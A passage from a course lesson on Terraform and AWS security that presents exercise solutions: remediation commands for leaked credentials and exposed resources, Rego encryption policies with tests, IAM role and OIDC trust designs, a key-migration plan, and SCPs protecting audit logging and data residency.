9 A bucket name with no environment prefix Medium dev and prod collide; the name is also guessable
10 Direct credentials in the provider, with no assume_role Medium No trace of who ran what, no expiry
11 No tags Low Nobody knows who to alert or how to break down the invoice

2. Remediating the three worst.

Problems 1 and 2 — credentials and password in Git. URGENT, right now:

# Step 1 (minutes). ROTATE. Delete the key, do not deactivate it.
aws iam list-access-keys --user-name ecomarket-terraform
aws iam delete-access-key --user-name ecomarket-terraform \
  --access-key-id AKIAIOSFODNN7EXAMPLE

# Step 2 (minutes). Rotate the database password.
aws rds modify-db-instance --db-instance-identifier ecomarket-db \
  --master-user-password "$(openssl rand -base64 32)" --apply-immediately

# Step 3 (minutes). Were they used? This is the question that decides
# whether this is a leak or an intrusion incident.
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIAIOSFODNN7EXAMPLE \
  --start-time "$(date -d '90 days ago' --iso-8601=seconds)"

Afterwards: notify security the same day, determine the scope (was the repository public? are there forks?), and only then clean the history with git filter-repo (07-02 §4). The secrets are considered permanently compromised.

Problems 3 and 4 — internet exposure. URGENT, in parallel:

# Close the open SSH NOW, by hand, without waiting for a PR.
aws ec2 revoke-security-group-ingress --group-id sg-XXXX \
  --protocol tcp --port 22 --cidr 0.0.0.0/0

# Remove the DB's public accessibility (this requires a brief outage).
aws rds modify-db-instance --db-instance-identifier ecomarket-db \
  --no-publicly-accessible --apply-immediately

And then the part that cannot be skipped: review the PostgreSQL connection logs and the VPC flow logs to determine whether there was access from outside. A database exposed with a known password for an indeterminate period is treated as a possible data breach until proven otherwise, and that is decided by the security team, not the platform team.

Problem 5 — unencrypted state. Plannable, but this week:

Enable encryption and versioning on the bucket, restrict its policy to the Terraform roles, and rotate every secret that state has ever contained, because it sat unencrypted with who knows what read permissions.

3. Corrected files.

# providers.tf — no credentials, with an assumed role and tags.
provider "aws" {
  region = var.region

  assume_role {
    role_arn     = "arn:aws:iam::${local.accounts[var.environment]}:role/ecomarket-terraform-${var.environment}"
    session_name = "tf-${var.environment}-${var.ci_run_id}"
    external_id  = var.external_id
  }

  default_tags {
    tags = local.common_tags
  }
}
# backend.tf — partial (07-01 §6.1), encrypted with our own key and with locking.
terraform {
  backend "s3" {
    region       = "eu-west-1"
    encrypt      = true
    kms_key_id   = "arn:aws:kms:eu-west-1:123456789014:key/abc-123"
    use_lockfile = true
    # bucket and key arrive with -backend-config=backends/<environment>.hcl
  }
}
# environments/prod.tfvars — WITHOUT a single secret.
environment    = "prod"
region         = "eu-west-1"
db_class       = "db.t3.medium"
multi_az       = true
retention_days = 30
# admin_ranges no longer exists: administrative access goes through SSM
# Session Manager, with no port 22 open and with session logging.

4. Which layer would have prevented each problem with no reviewer.

Problem Layer that prevents it Concrete mechanism
1, 2: secrets in Git Layer 1 + pipeline gitleaks in pre-commit and as a required PR check, which cannot be skipped with --no-verify
3: public DB Layer 5 (policy) and layer 7 (SCP) A Rego rule blocking publicly_accessible = true; and an SCP forbidding rds:CreateDBInstance with that option
4: open SSH Layer 5 The public_network.rego policy from section 12: 22 is not in allowed_public_ports
5: unencrypted state Layer 7 An SCP denying s3:CreateBucket without encryption, and a bucket policy denying PutObject without x-amz-server-side-encryption
6: unencrypted DB Layer 5 + 6 The policy from exercise 2; and an aws:RequestTag/parameter condition on the role
7: invoices bucket Layer 7 An account-level public access block: s3control put-public-access-block over the whole account
11: no tags Layer 5 + 6 The tags policy + the aws:RequestTag condition in the role's policy

The conclusion of the exercise: every critical problem would have been prevented by a layer that is not in the repository. None of them depended on somebody remembering. That is exactly the difference between a control and a good intention.

Solution 2

1. The policy.

# ci/policies/encryption.rego
package main

import future.keywords.contains
import future.keywords.if
import future.keywords.in

environment := input.variables.environment.value

# --- Rule 1: RDS with no encryption. Blocks in ALL environments. ---

deny contains msg if {
	some resource in input.resource_changes
	resource.type == "aws_db_instance"
	is_create_or_update(resource)
	object.get(resource.change.after, "storage_encrypted", false) == false

	msg := sprintf(
		"BLOCKED: %s has no encryption at rest. It is mandatory in every environment. NOTE: storage_encrypted cannot be enabled in place, so on an existing database this means a snapshot, an encrypted restore and a migration window.",
		[resource.address],
	)
}

# --- Rule 2: RDS in prod must use a customer-managed key ---

deny contains msg if {
	environment == "prod"
	some resource in input.resource_changes
	resource.type == "aws_db_instance"
	is_create_or_update(resource)
	object.get(resource.change.after, "storage_encrypted", false) == true

	# Encrypted, yes, but with no kms_key_id: that is AWS's default key,
	# whose policy we do not control and whose decryptions we do not audit.
	key := object.get(resource.change.after, "kms_key_id", "")
	key == ""

	msg := sprintf(
		"BLOCKED: %s uses AWS's default encryption key. In production a customer-managed key (kms_key_id) is mandatory, so that we control who can decrypt and audit every decryption.",
		[resource.address],
	)
}

# --- Rule 3: S3 buckets ---

deny contains msg if {
	some resource in input.resource_changes
	resource.type == "aws_s3_bucket_server_side_encryption_configuration"
	is_create_or_update(resource)

	some rule in resource.change.after.rule
	some default in rule.apply_server_side_encryption_by_default
	default.sse_algorithm == "AES256"
	environment == "prod"

	msg := sprintf(
		"BLOCKED: %s uses AES256 (an AWS key). In production sse_algorithm = \"aws:kms\" with a kms_master_key_id of our own key is required.",
		[resource.address],
	)
}

# A bucket created WITHOUT any encryption configuration attached.
deny contains msg if {
	some resource in input.resource_changes
	resource.type == "aws_s3_bucket"
	"create" in resource.change.actions

	not has_encryption_configuration(resource.change.after.bucket)

	msg := sprintf(
		"BLOCKED: bucket %s is created with no aws_s3_bucket_server_side_encryption_configuration attached in the same plan.",
		[resource.address],
	)
}

# --- Rule 4: EBS volumes ---

deny contains msg if {
	some resource in input.resource_changes
	resource.type == "aws_ebs_volume"
	is_create_or_update(resource)
	object.get(resource.change.after, "encrypted", false) == false

	msg := sprintf("BLOCKED: volume %s is not encrypted.", [resource.address])
}

deny contains msg if {
	environment == "prod"
	some resource in input.resource_changes
	resource.type == "aws_ebs_volume"
	is_create_or_update(resource)
	object.get(resource.change.after, "encrypted", false) == true
	object.get(resource.change.after, "kms_key_id", "") == ""

	msg := sprintf(
		"BLOCKED: volume %s is encrypted with the default key. In production a customer-managed key is required.",
		[resource.address],
	)
}

# --- Helper functions ---

# The key to the whole policy: only what is CREATED or UPDATED is examined.
# What is destroyed cannot violate anything, and blocking a destroy for
# lack of encryption would stop you retiring precisely the bad resources.
is_create_or_update(resource) if {
	some action in resource.change.actions
	action in {"create", "update"}
}

has_encryption_configuration(bucket_name) if {
	some other in input.resource_changes
	other.type == "aws_s3_bucket_server_side_encryption_configuration"
	other.change.after.bucket == bucket_name
}

2. The test cases.

# ci/policies/encryption_test.rego
package main

import future.keywords.if

# --- Case 1: MUST block. RDS with no encryption in dev. ---
test_blocks_rds_without_encryption_in_dev if {
	result := deny with input as {
		"variables": {"environment": {"value": "dev"}},
		"resource_changes": [{
			"address": "aws_db_instance.main",
			"type": "aws_db_instance",
			"change": {"actions": ["create"], "after": {"storage_encrypted": false}},
		}],
	}
	count(result) == 1
}

# --- Case 2: MUST pass. Prod with a customer-managed key. ---
test_allows_rds_with_customer_key_in_prod if {
	result := deny with input as {
		"variables": {"environment": {"value": "prod"}},
		"resource_changes": [{
			"address": "aws_db_instance.main",
			"type": "aws_db_instance",
			"change": {"actions": ["create"], "after": {
				"storage_encrypted": true,
				"kms_key_id": "arn:aws:kms:eu-west-1:123456789014:key/abc-123",
			}},
		}],
	}
	count(result) == 0
}

# --- Case 3: MUST pass. In dev the default key is enough. ---
test_allows_default_key_in_dev if {
	result := deny with input as {
		"variables": {"environment": {"value": "dev"}},
		"resource_changes": [{
			"address": "aws_db_instance.main",
			"type": "aws_db_instance",
			"change": {"actions": ["create"], "after": {
				"storage_encrypted": true,
				"kms_key_id": "",
			}},
		}],
	}
	count(result) == 0
}

# --- Case 4: MUST pass. A resource being DESTROYED is not evaluated. ---
test_does_not_block_destroying_an_unencrypted_resource if {
	result := deny with input as {
		"variables": {"environment": {"value": "prod"}},
		"resource_changes": [{
			"address": "aws_db_instance.old",
			"type": "aws_db_instance",
			"change": {
				"actions": ["delete"],
				"before": {"storage_encrypted": false},
				"after": null,
			},
		}],
	}
	count(result) == 0
}

# --- Case 5 (extra): MUST block. Prod with the default key. ---
test_blocks_default_key_in_prod if {
	result := deny with input as {
		"variables": {"environment": {"value": "prod"}},
		"resource_changes": [{
			"address": "aws_ebs_volume.data",
			"type": "aws_ebs_volume",
			"change": {"actions": ["create"], "after": {"encrypted": true, "kms_key_id": ""}},
		}],
	}
	count(result) == 1
}

Case 4 is the most instructive one and the one most real policies forget. Without the is_create_or_update filter, the policy would block the plan that retires an unencrypted database, which is exactly what you want to be able to do. It is a design fault that turns a security policy into an obstacle to fixing security problems.

3. Why over the plan and not over the code.

Three independent reasons, any one of them sufficient:

a) The values come from variables. In the code, storage_encrypted = var.encrypt says nothing. Only the plan knows that prod.tfvars sets encrypt = false.

b) The logic lives in expressions. kms_key_id = var.environment == "prod" ? var.kms_arn : null is a ternary a code analyser would have to evaluate by itself, with the whole context of variables and locals. The plan has already resolved it.

c) The code is not complete. The resources may come from a third-party module whose code is not even in the repository until init runs. The plan includes everything that is going to be created, wherever it comes from. It is the only complete view that exists, and it is precisely the defence against somebody else's module creating an insecure resource.

4. Why in ci/policies/ and not as a precondition.

This is the lesson's central distinction, and here it is in its most concrete form.

A precondition in the data module is a file in the same repository. Whoever opens the PR that disables encryption can delete the precondition in the same commit, and the diff of that is:

   lifecycle {
-    precondition {
-      condition     = var.storage_encrypted
-      error_message = "Encryption is mandatory."
-    }
   }

Five lines fewer, in the middle of a forty-line PR. A tired reviewer approves it.

The policy in ci/policies/ runs in the pipeline, over the resolved plan, and:

Property Consequence
It is in ci/policies/, with CODEOWNERS = @ecomarket/security Modifying it requires security approval, and they will see exactly what is being relaxed
It is a required check on the protected branch Its failure prevents merging, no matter who approves the PR
It applies to every resource in the plan Including those created by a third-party module whose code you do not control
It has its own tests (conftest verify) It cannot degrade silently

And the correct combination is not to pick one: they are complementary layers. The precondition gives the developer an immediate, instructive error on their own machine, with a message explaining what to do. The policy is what guarantees that error cannot be deleted. The first is ergonomics; the second is control.

Solution 3

1. The set of roles.

Role Account Permissions Who assumes it
ecomarket-terraform-plan-dev ...012 Read-only + state (read and lock) OIDC: any PR in the repository, forks included
ecomarket-terraform-dev ...012 Write, restricted by tag and prefix OIDC: main; and team members with MFA (it is dev)
ecomarket-terraform-plan-staging ...013 Read-only + state OIDC: any PR
ecomarket-terraform-staging ...013 Restricted write OIDC: main, protected environment staging
ecomarket-terraform-plan-prod ...014 Read-only + state OIDC: any PR
ecomarket-terraform-prod ...014 Restricted write, with Deny over security IAM and over itself Only OIDC with the protected environment prod + an emergency door
ecomarket-oncall ...012 No permissions of its own; it can only assume terraform-prod with MFA On-call staff, with MFA
ecomarket-audit all three Read-only, the state included Auditors and compliance tooling

That is seven roles: two per environment (plan and apply) plus the on-call and audit roles. The decisions that justify the design:

  • The plan role exists in all three accounts so that PRs can show the plan for any environment with no write risk whatsoever.
  • Only in dev can people assume the write role directly. That is what allows experimentation, and the maximum damage is a development environment.
  • In staging and prod, no person holds the write role, other than through the emergency door. This is what eliminates the parallel path the audit trail from 07-02 §12 depended on.

2. The trust relationship for ecomarket-terraform-prod.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ProductionPipelineOnlyFromTheProtectedEnvironment",
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789014:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub":
            "repo:ecomarket/ecomarket-infra:environment:prod"
        }
      }
    },
    {
      "Sid": "BreakGlassForTheOnCallRole",
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::123456789012:role/ecomarket-oncall" },
      "Action": "sts:AssumeRole",
      "Condition": {
        "Bool": { "aws:MultiFactorAuthPresent": "true" },
        "NumericLessThan": { "aws:MultiFactorAuthAge": "900" },
        "StringEquals": { "sts:ExternalId": "${aws:PrincipalTag/OnCallExternalId}" }
      }
    }
  ]
}

Deliberate details:

  • sub uses StringEquals, not StringLike, and names the exact repository and environment. No wildcards: that eliminates the most frequent flaw from section 2.
  • environment:prod forces the job through GitHub's protected environment, which requires a second person's approval. The human approval becomes a cryptographic requirement, not a process convention.
  • The emergency door requires MFA less than 15 minutes old, not just «MFA at some point during the session». It is the difference between requiring a deliberate action now and accepting a session opened this morning.
  • Every use of the emergency door must generate an automatic alert to the security channel. That it exists is fine; that it gets used silently is not.

3. The phased migration plan.

Phase Action Verification before moving to the next
0 Take stock: which keys exist, who holds them, when they were last used (CloudTrail) A complete list, with an owner for each key
1 Create the OIDC provider in the three accounts and the six roles, withdrawing nothing aws sts assume-role-with-web-identity works from a test job
2 Migrate the dev pipeline to OIDC. The keys still exist, unused A full plan + apply + destroy cycle in dev, with the new role
3 Migrate staging and then prod, with days in between A real apply in each, with the protected environment and its approval
4 Deactivate (not delete) the static keys 7 days with not a single use in CloudTrail. This is the key verification
5 Delete the keys and the repository secret Nothing has failed in 7 days
6 Restrict the permissions: from PowerUserAccess to the tag and prefix policies A full apply and destroy in dev; iam simulate-principal-policy against prod
7 Add the escalation Deny statements and the SCPs A security team review; testing in a test organisational unit

The two points where people go wrong:

  • Phase 4 is deactivate, not delete. A deactivated key can be reactivated in seconds if something breaks; a deleted one cannot. Seven days of observation before phase 5.
  • Phase 6 requires testing the destroy. It is the warning from section 5: a policy tuned from creation activity leaves out the deletion permissions, and the failure appears months later, when nobody remembers this migration.

4. What falls outside the roles and needs an SCP.

The roles control what Terraform can do. They do not control:

  • What somebody who obtains credentials by another route can do (a console, another team's role, a forgotten key).
  • What the account administrator can do, who by definition can modify the roles' policies.
  • Cross-cutting properties of the account: permitted regions, mandatory encryption, audit logging.
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DataResidencyInEurope",
      "Effect": "Deny",
      "NotAction": [
        "iam:*", "organizations:*", "route53:*", "cloudfront:*",
        "support:*", "sts:*", "budgets:*"
      ],
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestedRegion": ["eu-west-1", "eu-west-3"]
        }
      }
    },
    {
      "Sid": "NobodyTurnsOffAuditLogging",
      "Effect": "Deny",
      "Action": [
        "cloudtrail:StopLogging",
        "cloudtrail:DeleteTrail",
        "cloudtrail:UpdateTrail",
        "config:DeleteConfigurationRecorder",
        "config:StopConfigurationRecorder",
        "guardduty:DeleteDetector",
        "guardduty:DisassociateFromMasterAccount"
      ],
      "Resource": "*"
    }
  ]
}

Justification for the first: EcoMarket sells to European customers and handles their personal data. That the infrastructure can only exist in eu-west-1 and eu-west-3 is a data-residency requirement, and an SCP turns it into something not even an account administrator can breach. It also has two valuable side effects: nobody deploys to an expensive region by mistake, and an attacker with credentials cannot spin up resources in a region nobody is watching. The NotAction exceptions are the global services that have no region and that would stop working if the restriction were applied to them.

Justification for the second: the first move of any attacker who gains access is to erase their tracks. If CloudTrail can be turned off, all the traceability from 07-02 §12 is worth nothing: you cannot demonstrate what happened nor, just as importantly, that nothing happened. This SCP makes logging a structural fact of the organisation rather than a setting somebody maintains.

One final warning about SCPs: they break deployments in ways that are hard to diagnose. The error whoever debugs will see is a generic AccessDenied, with no hint that the cause is an organisational policy two levels above. They must be tested in a test organisational unit, documented in docs/adr/ and mentioned in the README, so that the person who at three in the morning cannot understand why an apply is failing in us-east-1 has somewhere to look. These debugging cases are covered in 09-01.

Conclusion

Infrastructure-as-code security is not achieved by writing better Terraform. It is achieved by placing controls where whoever writes the change cannot switch them off.

  • The threat model starts with the most likely actor, who is not an attacker but somebody on the team in a hurry. The PR that removes prevent_destroy so their plan will go through is more frequent than any intrusion.
  • A Terraform provider is a binary that runs with your credentials, and a plan is an artefact with secrets inside. Those two sentences organise a good part of the defences.
  • Identity is everything. Terraform assumes a role whose policy lives outside the repository, with temporary credentials and a session_name that reaches CloudTrail. And the trust relationship matters more than the policy: a sub with a wildcard grants the whole account.
  • plan and apply must not share a role. Read for the PRs and the drift plan; write only after approval. It is the most rewarding change and it is done in an afternoon. Note: the plan role does need to write the lock file.
  • OIDC removes the static key. If your pipeline stores an AWS_SECRET_ACCESS_KEY, that is probably the weakest point in your infrastructure.
  • Least privilege is applied in levels: by service, then by tag and prefix, and by specific action only where the damage justifies it. With two non-negotiable Deny statements: do not touch audit logging and be unable to modify Terraform's own role. And test the destroy, which needs permissions the apply never uses.
  • The four rules of secrets: not in the code, not in a versioned .tfvars, not in user_data, and assume the state contains them. From the fourth the design follows: do not let the secret pass through Terraform. Pattern A (an empty container) or, better, pattern B (manage_master_user_password). ephemeral is where the product is heading, with coverage still partial.
  • The state bucket deserves the protection of a production database: versioning, encryption with a customer-managed key, a total public access block, mandatory TLS, access restricted to the roles, access logging and bounded retention.
  • Scanners bring generic rules; policies express yours. Trivy and Checkov find the unencrypted bucket and the 0.0.0.0/0; only a policy of your own can say «443 yes, but only on the load balancer». And every suppression carries a reason, an approver and an automatically verified expiry date.
  • The analysis must be done over the plan, because it is the only view with the resolved values and with every resource, including those created by somebody else's module.
  • Policies in the pipeline are the promise fulfilled: controls and not good intentions. A precondition is deleted by editing four lines; a policy in ci/policies/ with security CODEOWNERS and a required check is not. And policies get tested too, with cases for what must block and for what must pass.
  • Seven layers, with a clear boundary: layers 1 to 4 live in the repository and are controlled by whoever makes the change; layers 5 to 7 — pipeline, role permissions, SCP — live outside and are not.
  • The supply chain: there is no lock file for modules, so third-party versions are pinned exactly; the .terraform.lock.hcl with hashes for every platform and -lockfile=readonly in the pipeline; and somebody else's data "external" gets read line by line before you hand it your credentials.
  • Auditing works if there is no parallel path: nobody applies to production from their laptop, the session_name joins the PR to CloudTrail, tagging is demanded at three layers and saved plans have a retention of days, not years.
  • And what a compliance professional decides is not decided by the platform team. Platform builds the ability to produce evidence; what evidence is needed is set by the regulation.

This whole module has been accumulating an implicit condition that is worth making explicit before the last lesson. Code organisation, Git conventions, tests, scanners and policies are only worth anything if they run every time, on every change, without anybody having to remember. A terraform fmt that is sometimes forgotten produces noisy diffs; a policy that only runs when somebody launches it by hand is not a control.

But before we get to the pipeline there is one piece of the architecture left to resolve, and it is the last debt module 6 left open. When EcoMarket went from three environments to twelve — three environments times four regions, plus the ephemeral ones — the directory strategy we justified in 07-01 started to creak: twelve backend.tf files drifting out of sync, the same provider block copied into twenty roots, the terraform_remote_state blocks repeated over and over, and an apply order between components that somebody has to remember. The next lesson, Multiple Environments at Scale with Terragrunt, is the answer to that question: what Terragrunt is, which problems it really solves, which ones it does not solve, how much it costs to adopt, what alternatives exist, and why the honest recommendation starts with not adopting it if directories and .tfvars files are enough for you.

© Copyright 2026. All rights reserved